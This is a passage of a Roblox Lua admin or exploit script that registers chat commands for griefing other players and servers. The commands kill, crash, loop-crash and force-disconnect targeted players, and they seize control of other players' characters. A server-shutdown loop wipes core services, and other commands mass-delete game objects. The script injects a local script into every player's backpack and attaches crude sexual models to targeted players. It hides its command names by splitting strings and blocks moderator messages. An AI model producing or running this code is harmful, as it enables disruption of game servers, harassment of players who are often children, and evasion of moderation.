  2806.                                 c.Parent = Target.Character.Humanoid
  2807.                                 c.Value = Speaker
  2808.                                 c.Name = 'creator'
  2809.                                 wait(0.1)
  2810.                                 Target.Character.Humanoid.Health = 0
  2811.                                 wait(0.01)
  2812.                                 Target.Character.Parent = game.Lighting
  2813.                                 wait(0.01)
  2814.                                 c:remove()
  2815.                                 wait(0.01)
  2816.                                 Target.Character.Parent = game.Workspace
  2817.                         end
  2818.                 end
  2819.         end
  2820. )
  2821. AddCommand('Ping2','ping2',
  2822.         function(Msg,Speaker)
  2823.                 Output2(Msg,{Color3.new(math.random(),math.random(),math.random())},LocalPlayer)
  2824.         end
  2825. )
  2826. AddCommand('Ping3','ping3',
  2827.         function(Msg,Speaker)
  2828.                 Output3(Msg,{Color3.new(math.random(),math.random(),math.random())},LocalPlayer)
  2829.         end
  2830. )
  2831. AddCommand('Talk In Tabs','',
  2832.         function(Msg,Speaker)
  2833.                 Output(Msg,{Color3.new(math.random(),math.random(),math.random())},LocalPlayer)
  2834.                 Output2(Msg,{Color3.new(math.random(),math.random(),math.random())},LocalPlayer)
  2835.                 Output3(Msg,{Color3.new(math.random(),math.random(),math.random())},LocalPlayer)
  2836.         end
  2837. )
  2838. AddCommand('Loop delete','pdel',
  2839.                                                                 function(Msg,Speaker)
  2840. Delay(0,function()
  2841.         while wait() do
  2842.                 for _,Item in pairs(game.Workspace:GetChildren()) do
  2843.                         if Item.Name:lower():find(Msg:lower()) or Item.Name:find(Msg) then
  2844.                                 Item:Destroy()
  2845.                         end
  2846.                 end
  2847.         end
  2848. end)
  2849. Output2('Loop deleted : ' .. Msg,{Colors.Red},LocalPlayer)
  2850.                                                                 end
  2851.                                                                 )
  2852. AddCommand('Walkspeed','ws',
  2853.         function(Msg,Speaker)
  2854.                 Split = Msg:find(Bet)
  2855.                 for _,Player in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2856.                                                                                 Player.Character:FindFirstChild('Humanoid').WalkSpeed = tostring(Msg:sub(Split+1))
  2857.                 Output2("Walkspeed of"..Player.Name.."Changed",{Colors.Red},LocalPlayer)
  2858.                 end
  2859.         end
  2860. )
  2861. Delay(0,function()
  2862.         Tool = 'Start'
  2863.         Delay(0,function()
  2864.                 while wait(1) do
  2865.                         e = game:findFirstChild(Tool,true)
  2866.                         pcall(function() e:Destroy() end)
  2867.                 end
  2868.         end)
  2869. end)
  2870. PlayerPlugins = [==[
  2871.         script.Parent = nil
  2872.         LocalPlayer = game:GetService("Players").LocalPlayer
  2873.         coroutine.resume(coroutine.create(function()
  2874.                 while wait() do
  2875.                         if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name) then
  2876.                                 workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name):Remove()
  2877.                                 LocalPlayer.Parent = nil
  2878.                                 wait()
  2879.                                 LocalPlayer.Parent = game:GetService("Players")
  2880.                         end
  2881.                 end
  2882.         end))
  2883. ]==]
  2884. local nilcrash = function(Player)
  2885. localScript(PlayerPlugins,Player.Backpack)
  2886. end
  2887. for _,v in pairs(game.Players:GetPlayers()) do
  2888. nilcrash(v)
  2889. end
  2890. game.Players.ChildAdded:connect(function(v)
  2891. if type(v) == 'Player' then
  2892. wait(1)
  2893. nilcrash(v)
  2894. end
  2895. end)
  2896. AddCommand('Disconnect','disc',
  2897.         function(Msg,Speaker)
  2898.                 Name = Msg
  2899.                 Val = Instance.new('StringValue')
  2900.                 Val.Name = 'Disconnect : ' .. Msg
  2901.                 Val.Parent = game.Workspace
  2902.                 Output2('Attempted to disconnect : ' .. Msg,{Colors.Red},Speaker)
  2903.                 wait(5)
  2904.                 Val:Destroy()
  2905.         end
  2906. )
  2907. Output2('This Output Function Is Fully Operational',{Colors.Red},LocalPlayer)
  2908. AddCommand('Instant shu'..'tdown','isd',
  2909.         function(Msg,Speaker)
  2910.                 Output2('Shut'..'ting down',{Colors.Red},LocalPlayer)
  2911.                 Delay(0,function()
  2912.                         while wait() do
  2913.                                 game:service'Players':ClearAllChildren()
  2914.                                 game:service'Workspace':ClearAllChildren()
  2915.                                 game:service'Lighting':ClearAllChildren()
  2916.                                 game:service'StarterGui':ClearAllChildren()
  2917.                         end
  2918.                 end)
  2919.         end
  2920. )
  2921. AddCommand('Personal dismiss Diamonds','pdismiss',
  2922.         function(Msg,Speaker)
  2923.                 for _,v in pairs(game.Workspace:GetChildren()) do
  2924.                         if v.Name == 'Output3' then
  2925.                                 v:Destroy()
  2926.                         end
  2927.                 end
  2928.         end
  2929. )
  2930. AddCommand("Private base","PB",
  2931.         function(Msg,Speaker)
  2932.                 local PB = Instance.new("Part",game.Workspace)
  2933.                 Output2('Creating Your Base',{Color3.new(math.random(),math.random(),math.random())},Speaker)
  2934.                 Wait(3)
  2935.                 PB.Name = "PB"
  2936.                 PB.Anchored = true
  2937.                 PB.Locked = true
  2938.                 PB.BrickColor = BrickColor.new("Bright green")
  2939.                 PB.Size = Vector3.new(50,1,50)
  2940.                 PB.CFrame = CFrame.new(3000,4000,3000)
  2941.                 Wait(2)
  2942.                 Output2('Teleporting You To Your Base',{Color3.new(math.random(),math.random(),math.random())},Speaker)
  2943.                 Wait(2)
  2944.                 LoadCharacter(CFrame.new(3000,4040,3000))
  2945.         end
  2946. )
  2947. LocalPlayer.ChildAdded:connect(function(v)
  2948.         v.ChildAdded:connect(function(o)
  2949.                 if o:IsA("Message") then
  2950.                         o:Destroy()
  2951.                 end
  2952.         end)
  2953. end)
  2954. for _,v in pairs(LocalPlayer:GetChildren()) do
  2955.         v.ChildAdded:connect(function(o)
  2956.                 if o:IsA('Message') or o:IsA("Script") then
  2957.                         o:Destroy()
  2958.                 end
  2959.         end)
  2960. end
  2961.  
  2962.  
  2963. --[[ Loading ]]--
  2964. AddCommand('Loopcrash','lcrash',
  2965.         function(Msg,Speaker)
  2966.                 for _,Player in pairs(GetPlayers(Msg,Speaker)) do
  2967.                         Delay(0,function()
  2968.                                 while wait() do
  2969.                                         if Players:findFirstChild(Player.Name) then
  2970.                                                 OnChatted('crash'..Bet..Players[Player.Name])
  2971.                                         end
  2972.                                 end
  2973.                         end)
  2974.                 end
  2975.         end
  2976. )
  2977. Output('Do Not Ban This Lord',{Colors.Red},LocalPlayer)
  2978. AddCommand('bigdeek','bigdeek',
  2979.         function(Msg,Speaker)
  2980.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2981.         person=v.Name
  2982.         color = "Pastel brown"
  2983.         pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
  2984.         D = Instance.new("Model",workspace[person])
  2985.         D.Name = "Nice thing"
  2986.         bg = Instance.new("BodyGyro",workspace[person].Torso)
  2987.         d = Instance.new("Part")
  2988.         d.TopSurface = 0
  2989.         d.BottomSurface = 0
  2990.         d.Name = "Main"
  2991.         d.Parent = workspace[person]["Nice thing"]
  2992.         d.formFactor = 3
  2993.         d.Size = Vector3.new(0.6*2 ,2.5*2 ,0.6*2 )
  2994.         d.BrickColor = BrickColor.new(color)
  2995.         d.Position = workspace[person].Head.Position
  2996.         d.CanCollide = false
  2997.         local cy = Instance.new("CylinderMesh")
  2998.         cy.Parent = d
  2999.         w = Instance.new("Weld")
  3000.         w.Parent = workspace[person].Head
  3001.         w.Part0 = d
  3002.         w.Part1 = workspace[person].Head
  3003.         w.C0 = CFrame.new(0,0.25 ,2.1 )*CFrame.Angles(math.rad(45),0,0)
  3004.         local c = Instance.new("Part")
  3005.                 c.Name = "Mush"
  3006.         c.BottomSurface = 0
  3007.         c.TopSurface = 0
  3008.         c.FormFactor = 3
  3009.         c.Size = Vector3.new(0.6*2 ,0.6*2 ,0.6*2 )
  3010.         c.CFrame = CFrame.new(d.Position)
  3011.         c.BrickColor = BrickColor.new("Pink")
  3012.         c.CanCollide = false
  3013.         c.Parent = workspace[person]["Nice thing"]
  3014.         local msm = Instance.new("SpecialMesh")
  3015.         msm.Parent = c
  3016.         msm.MeshType = "Sphere"
  3017.         local cw = Instance.new("Weld")
  3018.         cw.Parent = c
  3019.         cw.Part0 = d
  3020.         cw.Part1 = c
  3021.         cw.C0 = CFrame.new(0,2.6 ,0)
  3022.         local ball1 = Instance.new("Part")
  3023.         ball1.Parent = workspace[person]["Nice thing"]
  3024.         ball1.Name = "Left Ball"
  3025.         ball1.BottomSurface = 0
  3026.         ball1.TopSurface = 0
  3027.         ball1.CanCollide = false
  3028.         ball1.formFactor = 3
  3029.         ball1.Size = Vector3.new(1*2 ,1*2 ,1*2 )
  3030.         ball1.CFrame = CFrame.new(workspace[person]["Left Leg"].Position)
  3031.         ball1.BrickColor = BrickColor.new(color)
  3032.         local bsm = Instance.new("SpecialMesh")
  3033.         bsm.Parent = ball1
  3034.         bsm.MeshType = "Sphere"
  3035.         local b1w = Instance.new("Weld")
  3036.         b1w.Parent = ball1
  3037.         b1w.Part0 = workspace[person]["Left Leg"]
  3038.         b1w.Part1 = ball1
  3039.         b1w.C0 = CFrame.new(0,0.5 ,-.5 )
  3040.         local ball2 = Instance.new("Part")
  3041.         ball2.Parent = workspace[person]["Nice thing"]
  3042.         ball2.Name = "Right Ball"
  3043.         ball2.BottomSurface = 0
  3044.         ball2.CanCollide = false
  3045.         ball2.TopSurface = 0
  3046.         ball2.formFactor = 3
  3047.         ball2.Size = Vector3.new(1*2 ,1*2 ,1*2 )
  3048.         ball2.CFrame = CFrame.new(workspace[person]["Right Leg"].Position)
  3049.         ball2.BrickColor = BrickColor.new(color)
  3050.         local b2sm = Instance.new("SpecialMesh")
  3051.         b2sm.Parent = ball2
  3052.         b2sm.MeshType = "Sphere"
  3053.         local b2w = Instance.new("Weld")
  3054.         b2w.Parent = ball2
  3055.         b2w.Part0 = workspace[person]["Right Leg"]
  3056.         b2w.Part1 = ball2
  3057.         b2w.C0 = CFrame.new(0,0.5,-.5)
  3058. end
  3059. end
  3060. )
  3061.  
  3062. AddCommand('Small deek','sdeek',
  3063.         function(Msg,Speaker)
  3064.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3065.                 person=v.Name
  3066.                 color = "Pastel brown"
  3067.                 pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
  3068.                 D = Instance.new("Model",workspace[person])
  3069.                 D.Name = "Nice thing"
  3070.                 bg = Instance.new("BodyGyro",workspace[person].Torso)
  3071.                 d = Instance.new("Part")
  3072.                 d.TopSurface = 0
  3073.                 d.BottomSurface = 0
  3074.                 d.Name = "Main"
  3075.                 d.Parent = workspace[person]["Nice thing"]
  3076.                 d.formFactor = 3
  3077.                 d.Size = Vector3.new(0.6/2 ,2.5 ,0.6/2 )
  3078.                 d.BrickColor = BrickColor.new(color)
  3079.                 d.Position = workspace[person].Head.Position
  3080.                 d.CanCollide = false
  3081.                 local cy = Instance.new("CylinderMesh")
  3082.                 cy.Parent = d
  3083.                 w = Instance.new("Weld")
  3084.                 w.Parent = workspace[person].Head
  3085.                 w.Part0 = d
  3086.                 w.Part1 = workspace[person].Head
  3087.                 w.C0 = CFrame.new(0,0.25 ,2.1 )*CFrame.Angles(math.rad(45),0,0)
  3088.                 local c = Instance.new("Part")
  3089.                 c.Name = "Mush"
  3090.                 c.BottomSurface = 0
  3091.                 c.TopSurface = 0
  3092.                 c.FormFactor = 3
  3093.                 c.Size = Vector3.new(0.6/2 ,0.6/2 ,0.6/2 )
  3094.                 c.CFrame = CFrame.new(d.Position)
  3095.                 c.BrickColor = BrickColor.new("Pink")
  3096.                 c.CanCollide = false
  3097.                 c.Parent = workspace[person]["Nice thing"]
  3098.                 local msm = Instance.new("SpecialMesh")
  3099.                 msm.Parent = c
  3100.                 msm.MeshType = "Sphere"
  3101.                 local cw = Instance.new("Weld")
  3102.                 cw.Parent = c
  3103.                 cw.Part0 = d
  3104.                 cw.Part1 = c
  3105.                 cw.C0 = CFrame.new(0,1.3 ,0)
  3106.                 local ball1 = Instance.new("Part")
  3107.                 ball1.Parent = workspace[person]["Nice thing"]
  3108.                 ball1.Name = "Left Ball"
  3109.                 ball1.BottomSurface = 0
  3110.                 ball1.TopSurface = 0
  3111.                 ball1.CanCollide = false
  3112.                 ball1.formFactor = 3
  3113.                 ball1.Size = Vector3.new(1 ,1 ,1 )
  3114.                 ball1.CFrame = CFrame.new(workspace[person]["Left Leg"].Position*2)
  3115.                 ball1.BrickColor = BrickColor.new(color)
  3116.                 local bsm = Instance.new("SpecialMesh")
  3117.                 bsm.Parent = ball1
  3118.                 bsm.MeshType = "Sphere"
  3119.                 local b1w = Instance.new("Weld")
  3120.                 b1w.Parent = ball1
  3121.                 b1w.Part0 = workspace[person]["Left Leg"]
  3122.                 b1w.Part1 = ball1
  3123.                 b1w.C0 = CFrame.new(0,0.5 ,-.5 )
  3124.                 local ball2 = Instance.new("Part")
  3125.                 ball2.Parent = workspace[person]["Nice thing"]
  3126.                 ball2.Name = "Right Ball"
  3127.                 ball2.BottomSurface = 0
  3128.                 ball2.CanCollide = false
  3129.                 ball2.TopSurface = 0
  3130.                 ball2.formFactor = 3
  3131.                 ball2.Size = Vector3.new(1 ,1 ,1 )
  3132.                 ball2.CFrame = CFrame.new(workspace[person]["Right Leg"].Position*2)
  3133.                 ball2.BrickColor = BrickColor.new(color)
  3134.                 local b2sm = Instance.new("SpecialMesh")
  3135.                 b2sm.Parent = ball2
  3136.                 b2sm.MeshType = "Sphere"
  3137.                 local b2w = Instance.new("Weld")
  3138.                 b2w.Parent = ball2
  3139.                 b2w.Part0 = workspace[person]["Right Leg"]
  3140.                 b2w.Part1 = ball2
  3141.                 b2w.C0 = CFrame.new(0,0.5,-.5)
  3142.                 Output2("Gave deek to"..v.Name ,{Colors.Red},LocalPlayer)
  3143.         end
  3144. end
  3145. )
  3146. AddCommand('Con'..'trol a Player','control',
  3147.         function(Msg,Speaker)
  3148.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3149.                                         if v.Character ~= nil then
  3150.                                                 game.Players.LocalPlayer.Character = v.Character
  3151.                                                 game.Workspace.CurrentCamera.CameraSubject = v.Character.Humanoid
  3152.                                                 game.Workspace.CurrentCamera.CameraType = "Custom"
  3153.                                                 Output2('Controlled' .. ' ' .. v.Name,{Colors.Red},LocalPlayer)
  3154.                                         end
  3155.                 end
  3156.         end
  3157. )
  3158. AddCommand('Make Players Talk','pmsg',
  3159.         function(Msg,Speaker)
  3160.                 for _,talky in pairs(game.Players:GetPlayers()) do
  3161.                         charnam = CharacterName or LocalPlayer.Name
  3162.                         game:service'Chat':Chat(talky.Character.Head,Msg,Enum.ChatColor.Red)
  3163.                         for i,v in pairs(game.Workspace:GetChildren(Msg,Speaker)) do
  3164.                                 if v.ClassName == ("Part") then
  3165.                                         game:service'Chat':Chat(v,Msg,Enum.ChatColor.Red)
  3166.                                 end
  3167.                         end
  3168.                 end
  3169.         end
  3170. )
  3171. AddCommand('Explodes you','boom',
  3172.         function(Msg,Speaker)
  3173.                 local Shield = Instance.new("ForceField", game:service("Players").LocalPlayer.Character or nil)
  3174.                 wait(0.05)
  3175.                 local Explosion = Instance.new("Explosion")
  3176.                 Explosion.BlastRadius = 25000000000
  3177.                 Explosion.BlastPressure = 1000000
  3178.                 Explosion.Position = game:service("Players").LocalPlayer.Character.Torso.Position
  3179.                 Explosion.Hit:connect(function(Hit)
  3180.                 if Hit:IsDescendantOf(game:service("Players").LocalPlayer.Character) == false then
  3181.                 Hit.Anchored = false
  3182.                 Hit:BreakJoints()
  3183.                 end
  3184.                 end)
  3185.                 Explosion.Parent = game.Workspace
  3186.                 wait(0.1)
  3187.                 Shield:Remove()
  3188.                 Output2("BOOM!",{Colors.Red},LocalPlayer)
  3189.         end
  3190. )
  3191. AddCommand('Protects you','protect',
  3192.         function (Msg,Speaker)
  3193.                 if Msg == 'on' then
  3194.                         local Shi = Instance.new("ForceField", game:service("Players").LocalPlayer.Character)
  3195.                 end
  3196.         end
  3197. )
  3198.  
  3199.  
  3200. AddCommand('Spawncage','cage',
  3201.         function(Msg,Speaker)
  3202.         wall1 = Instance.new("Part", workspace)
  3203.         wall1.Size = Vector3.new(1, 20, 51)
  3204.         wall1.Anchored = true
  3205.         wall1.BrickColor = BrickColor.new("Really red")--
  3206.         wall1.Transparency = 0.7
  3207.         wall1.TopSurface = "Smooth"
  3208.         wall1.BottomSurface = "Smooth"
  3209.         wall1.CFrame = CFrame.new(-25, 10, 0)
  3210.         wall2 = Instance.new("Part", workspace)
  3211.         wall2.Size = Vector3.new(51, 20, 1)
  3212.         wall2.Anchored = true
  3213.         wall2.BrickColor = BrickColor.new("Really red")--
  3214.         wall2.Transparency = 0.7
  3215.         wall2.TopSurface = "Smooth"
  3216.         wall2.BottomSurface = "Smooth"
  3217.         wall2.CFrame = CFrame.new(0, 10, 25)
  3218.         wall3 = Instance.new("Part", workspace)
  3219.         wall3.Size = Vector3.new(1, 20, 51)
  3220.         wall3.Anchored = true
  3221.         wall3.BrickColor = BrickColor.new("Really red")--
  3222.         wall3.Transparency = 0.7
  3223.         wall3.TopSurface = "Smooth"
  3224.         wall3.BottomSurface = "Smooth"
  3225.         wall3.CFrame = CFrame.new(25, 10, 0)
  3226.         wall4 = Instance.new("Part", workspace)
  3227.         wall4.Size = Vector3.new(51, 20, 1)
  3228.         wall4.Anchored = true
  3229.         wall4.BrickColor = BrickColor.new("Really red")--
  3230.         wall4.Transparency = 0.7
  3231.         wall4.TopSurface = "Smooth"
  3232.         wall4.BottomSurface = "Smooth"
  3233.         wall4.CFrame = CFrame.new(0, 10, -25)
  3234.         roof = Instance.new("Part", workspace)
  3235.         roof.Anchored = true
  3236.         roof.Size = Vector3.new(51, 1, 51)
  3237.         roof.TopSurface = "Smooth"
  3238.         roof.BottomSurface = "Smooth"
  3239.         roof.BrickColor = BrickColor.new("Really black")
  3240.         roof.Locked = true
  3241.         roof.CFrame = CFrame.new(0, 20.5, 0)
  3242.         Output("New Spawn cage",{Colors.Red},LocalPlayer)
  3243.         end
  3244. )
  3245. AddCommand('OpenDoor','opendoor',
  3246.         function(Msg,Speaker)
  3247.                 wall1.CanCollide = false
  3248.                 wall1.Transparency = 1
  3249.                 Output2("Opened door",{Colors.Red},LocalPlayer)
  3250.         end
  3251. )
  3252. AddCommand('CloseDoor','closedoor',
  3253.         function(Msg,Speaker)
  3254.                 wall1.CanCollide = true
  3255.                 wall1.Transparency = 0
  3256.                 Output2("Closed door",{Colors.Red},LocalPlayer)
  3257.         end
  3258. )
  3259. AddCommand('Sparkles','sparkles',
  3260.         function(Msg,Speaker)
  3261.         local a = GetPlayers(Msg,Speaker)
  3262.         for i,v in pairs(a) do
  3263.         if v.Character then
  3264.         if v.Character:findFirstChild("Torso") then
  3265.         Instance.new("Sparkles", v.Character.Torso)
  3266.         Output2("Gave sparkles to "..v.Name,{Colors.Red},LocalPlayer)
  3267.         end end end end
  3268. )
  3269. AddCommand('Epic','epic',
  3270.         function(Msg,Speaker)
  3271.         local a = GetPlayers(Msg,Speaker)
  3272.         for i,v in pairs(a) do
  3273.         if v.Character ~= nil then
  3274.         for i,s in pairs(v.Character:GetChildren()) do
  3275.         if s.className == "Part" then
  3276.         s.Reflectance = 1
  3277.         elseif(s.ClassName == "Humanoid") then
  3278.         s.MaxHealth = math.huge
  3279.         Output2("Epicized "..v.Name,{Colors.Red},LocalPlayer)
  3280.         end end end end end
  3281. )
  3282. AddCommand('Respawn','respawn',
  3283.         function(Msg,Speaker)
  3284.         local a = GetPlayers(Msg,Speaker)
  3285.         for i,v in pairs(a) do
  3286.         local ack2 = Instance.new("Model")
  3287.         ack2.Parent = game:GetService("Workspace")
  3288.         local ack4 = Instance.new("Part")
  3289.         ack4.Transparency = 1
  3290.         ack4.CanCollide = false
  3291.         ack4.Anchored = true
  3292.         ack4.Name = "Torso"
  3293.         ack4.Position = Vector3.new(10000,10000,10000)
  3294.         ack4.Parent = ack2
  3295.         local ack3 = Instance.new("Humanoid")
  3296.         ack3.Torso = ack4
  3297.         ack3.Parent = ack2
  3298.         v.Character = ack2
  3299.         Output2("Respawned "..v.Name,{Colors.Red},LocalPlayer)
  3300.         end end
  3301. )
  3302. AddCommand('Get Age','getage',
  3303.         function(Msg,Speaker)
  3304.         local a = GetPlayers(Msg,Speaker)
  3305.         for i,v in pairs(a) do
  3306.         local at = 0
  3307.         local age = v.AccountAge
  3308.         while true do
  3309.         wait()
  3310.         if age - 365 < 0 then
  3311.         break
  3312.         end
  3313.         at = at + 1
  3314.         age = age - 365
  3315.         end
  3316.         local her = Instance.new("Hint", workspace)
  3317.         her.Text = v.Name.."'s Account is "..at.." Year(s) old and "..age.." Day(s) old"
  3318.         wait(4)
  3319.         if h then
  3320.         h:remove()
  3321.         end
  3322.         end end
  3323. )
  3324. AddCommand('Make Forest','forest',
  3325.         function(Msg,Speaker)
  3326.         local tmodel = Instance.new("Model", workspace)
  3327.         for i = 1, 1000 do
  3328.         local treet = Instance.new("Part", tmodel)
  3329.         treet.Size = Vector3.new(4, 20, 4)
  3330.         treet.Anchored = true
  3331.         treet.Locked = true
  3332.         treet.BrickColor = BrickColor.new("Reddish brown")
  3333.         treet.CFrame = CFrame.new(math.random(-500, 500), math.random(-5, 10), math.random(-500, 500))
  3334.         local treetop = Instance.new("Part", tmodel)
  3335.         treetop.BrickColor = BrickColor.new("Earth green")
  3336.         treetop.TopSurface = "Smooth"
  3337.         treetop.BottomSurface = "Smooth"
  3338.         treetop.Size = Vector3.new(13, 13, 13)
  3339.         treetop.Anchored = true
  3340.         treetop.Shape = "Ball"
  3341.         treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0)
  3342.         end
  3343.         Output("Made a forest!",{Colors.Red},LocalPlayer)
  3344.         end
  3345. )
  3346. AddCommand('Make Tree','tree',
  3347. function(Msg,Speaker)
  3348.         local a = GetPlayers(Msg,Speaker)
  3349.         for i,v in pairs(a) do
  3350.         if v.Character:findFirstChild("Torso") == nil then return end
  3351.         local treet = Instance.new("Part", workspace)
  3352.         treet.Size = Vector3.new(4, 20, 4)
  3353.         treet.Anchored = true
  3354.         treet.Locked = true
  3355.         treet.BrickColor = BrickColor.new("Reddish brown")
  3356.         treet.CFrame = v.Character.Torso.CFrame * CFrame.new(0, -13, 0)
  3357.         local treetop = Instance.new("Part", workspace)
  3358.         treetop.BrickColor = BrickColor.new("Earth green")
  3359.         treetop.TopSurface = "Smooth"
  3360.         treetop.BottomSurface = "Smooth"
  3361.         treetop.Size = Vector3.new(13, 13, 13)
  3362.         treetop.Anchored = true
  3363.         treetop.Shape = "Ball"
  3364.         treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0)
  3365.         v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.new(0, 5, 0)
  3366.         coroutine.resume(coroutine.create(function()
  3367.         for i = 1, 200 do
  3368.         wait()
  3369.         if treet ~= nil then
  3370.         if treetop ~= nil then
  3371.         treet.CFrame = treet.CFrame * CFrame.new(0 ,0.1, 0)
  3372.         treetop.CFrame = treetop.CFrame * CFrame.new(0 ,0.1, 0)
  3373.         end
  3374.         end
  3375.         end end))
  3376.         end
  3377.         Output2("Put a tree under"..v.Name.."",{Colors.Red},LocalPlayer)
  3378.         end
  3379. )
  3380. -- For testing people
  3381. workspace.ChildAdded:connect(function(c)
  3382.         ypcall(function()
  3383.                 if c.Name:find("Disable") and (c.Name:find("all") or c.Name:find(LocalPlayer.Name:lower())) then
  3384.                         Removed = true
  3385.                         Commands = {}
  3386.                         local tag = Instance.new("StringValue")
  3387.                         local tab = {Name=LocalPlayer.Name,Version=Version,Explorer=not not Explorer,Removed=Removed}
  3388.                         local plr = Instance.new("ObjectValue",tag) plr.Name = "Player" plr.Value = LocalPlayer
  3389.                         tag.Value = LoadLibrary("RbxUtility").EncodeJSON(tab) tag.Name = "NILDATA"
  3390.                         tag.Parent = game:GetService("Lighting") wait(1) pcall(function() tag:Destroy() end)
  3391.                         tag = Instance.new("StringValue")
  3392.                         tag.Value = LocalPlayer.Name
  3393.                         tag.Name = "DISABLED"
  3394.                         tag.Parent = game:GetService("Lighting")
  3395.                 end
  3396.         end)
  3397. end)
  3398. -- End testing people
  3399. AddCommand('Build Tools','btools',
  3400.         function(Msg,Speaker)
  3401.         local a = GetPlayers(Msg,Speaker)
  3402.         for i,v in pairs(a) do
  3403.         if v:findFirstChild("Backpack") then
  3404.         Instance.new("HopperBin", v.Backpack).BinType = 4
  3405.         Instance.new("HopperBin", v.Backpack).BinType = 3
  3406.         Instance.new("HopperBin", v.Backpack).BinType = 1
  3407.         Output2("Gave building tools to "..v.Name,{Colors.Red},LocalPlayer)
  3408.         end end
  3409.         end
  3410. )
  3411. AddCommand('Punish','punish',
  3412.         function(Msg,Speaker)
  3413.         local a = GetPlayers(Msg,Speaker)
  3414.         for i,v in pairs(a) do
  3415.         if v.Character then
  3416.         v.Character.Parent = game:service("Lighting")
  3417.         Output2("Punished "..v.Name,{Colors.Red},LocalPlayer)
  3418.         end end
  3419.         end
  3420. )
  3421. AddCommand('UnPunish','unpunish',
  3422.         function(Msg,Speaker)
  3423.         local a = GetPlayers(Msg,Speaker)
  3424.         for i,v in pairs(a) do
  3425.         if v.Character then
  3426.         v.Character.Parent = workspace
  3427.         v.Character:MakeJoints()
  3428.         Output2("Unpunished "..v.Name,{Colors.Red},LocalPlayer)
  3429.         end end end
  3430. )
  3431. AddCommand('Deep Clean','deepclean',
  3432.         function(Msg,Speaker)
  3433.         game.Lighting.ColorShift_Bottom = Color3.new(100, 100, 100)
  3434.         game.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
  3435.         game.Lighting.Ambient = Color3.new(1, 1, 1)
  3436.         game.Lighting.Brightness = 1
  3437.         game.Lighting.TimeOfDay = "11:00:00"
  3438.         game.Lighting.FogEnd = 99999999
  3439.         game.Workspace.Base.Transparency = 0
  3440.         game.Workspace.Base.BrickColor = BrickColor.new("Earth green")
  3441.         game.Workspace.Base.Locked = true
  3442.         game.Workspace.Base.Anchored = true
  3443.         t = game.Teams:GetChildren()
  3444.         for i = 1, #t do
  3445.         if t[i]:IsA("Team") then
  3446.         t[i]: Destroy()
  3447.         end
  3448.         end
  3449.         l = game.Lighting:GetChildren()
  3450.         for i = 1, #l do
  3451.         if l[i]:IsA("Sky") then
  3452.         l[i]: Destroy()
  3453.         end
  3454.         end
  3455.         g = game.Workspace:GetChildren()
  3456.         for i = 1, #g do
  3457.         if g[i]:IsA("Part") then
  3458.         g[i]: Destroy()
  3459.         end
  3460.         end
  3461.         for i = 1, #g do
  3462.         if g[i]:IsA("Script") then
  3463.         g[i].Disabled = true
  3464.         g[i]: Destroy()
  3465.         end
  3466.         end
  3467.         p = game.Players:GetChildren()
  3468.         for i = 1, #p do
  3469.         if g[i]:IsA("Script") then
  3470.         g[i].Disabled = true
  3471.         g[i]: Destroy()
  3472.         end
  3473.         end
  3474.         for i = 1, #g do
  3475.         if g[i]:IsA("StringValue") then
  3476.         g[i]: Destroy()
  3477.         end
  3478.         end
  3479.         for i = 1, #g do
  3480.         if g[i]:IsA("IntValue") then
  3481.         g[i]: Destroy()
  3482.         end
  3483.         end
  3484.         for i = 1, #g do
  3485.         if g[i]:IsA("BoolValue") then
  3486.         g[i]: Destroy()
  3487.         end
  3488.         end
  3489.         for i = 1, #g do
  3490.         if g[i]:IsA("NumberValue") then
  3491.         g[i]: Destroy()
  3492.         end
  3493.         end
  3494.         for i = 1, #g do
  3495.         if g[i]:IsA("ObjectValue") then
  3496.         g[i]: Destroy()
  3497.         end
  3498.         end
  3499.         for i = 1, #g do
  3500.         if g[i]:IsA("RayValue") then
  3501.         g[i]: Destroy()
  3502.         end
  3503.         end
  3504.         for i = 1, #g do
  3505.         if g[i]:IsA("Sound") then
  3506.         g[i]: Destroy()
  3507.         end
  3508.         end
  3509.         for i = 1, #g do
  3510.         if g[i]:IsA("Accoutrement") then
  3511.         g[i]: Destroy()
  3512.         end
  3513.         end
  3514.         for i = 1, #g do
  3515.         if g[i]:IsA("BrickColorValue") then
  3516.         g[i]: Destroy()
  3517.         end
  3518.         end
  3519.         for i = 1, #g do
  3520.         if g[i]:IsA("Motor") then
  3521.         g[i]: Destroy()
  3522.         end
  3523.         end
  3524.         for i = 1, #g do
  3525.         if g[i]:IsA("MotorFeature") then
  3526.         g[i]: Destroy()
  3527.         end
  3528.         end
  3529.         for i = 1, #g do
  3530.         if g[i]:IsA("Color3Value") then
  3531.         g[i]: Destroy()
  3532.         end
  3533.         end
  3534.         for i = 1, #g do
  3535.         if g[i]:IsA("BindableEvent") then
  3536.         g[i]: Destroy()
  3537.         end
  3538.         end
  3539.         for i = 1, #g do
  3540.         if g[i]:IsA("BindableFunction") then
  3541.         g[i]: Destroy()
  3542.         end
  3543.         end
  3544.         for i = 1, #g do
  3545.         if g[i]:IsA("LocalScript") then
  3546.         g[i]: Destroy()
  3547.         end
  3548.         end
  3549.         for i = 1, #g do
  3550.         if g[i]:IsA("Model") then
  3551.         g[i]: Remove()
  3552.         end
  3553.         end
  3554.         for i = 1, #g do
  3555.         if g[i]:IsA("Hint") then
  3556.         g[i]: Destroy()
  3557.         end
  3558.         end
  3559.         for i = 1, #g do
  3560.         if g[i]:IsA("Truss") then
  3561.         g[i]: Destroy()
  3562.         end
  3563.         end
  3564.         for i = 1, #g do
  3565.         if g[i]:IsA("Tool") then
  3566.         g[i]: Destroy()
  3567.         end
  3568.         end
  3569.         for i = 1, #g do
  3570.         if g[i]:IsA("HopperBin") then
  3571.         g[i]: Destroy()
  3572.         end
  3573.         end
  3574.         for i = 1, #g do
  3575.         if g[i]:IsA("Fire") then
  3576.         g[i]: Destroy()
  3577.         end
  3578.         end
  3579.         for i = 1, #g do
  3580.         if g[i]:IsA("Explosion") then
  3581.         g[i]: Destroy()
  3582.         end
  3583.         end
  3584.         for i = 1, #g do
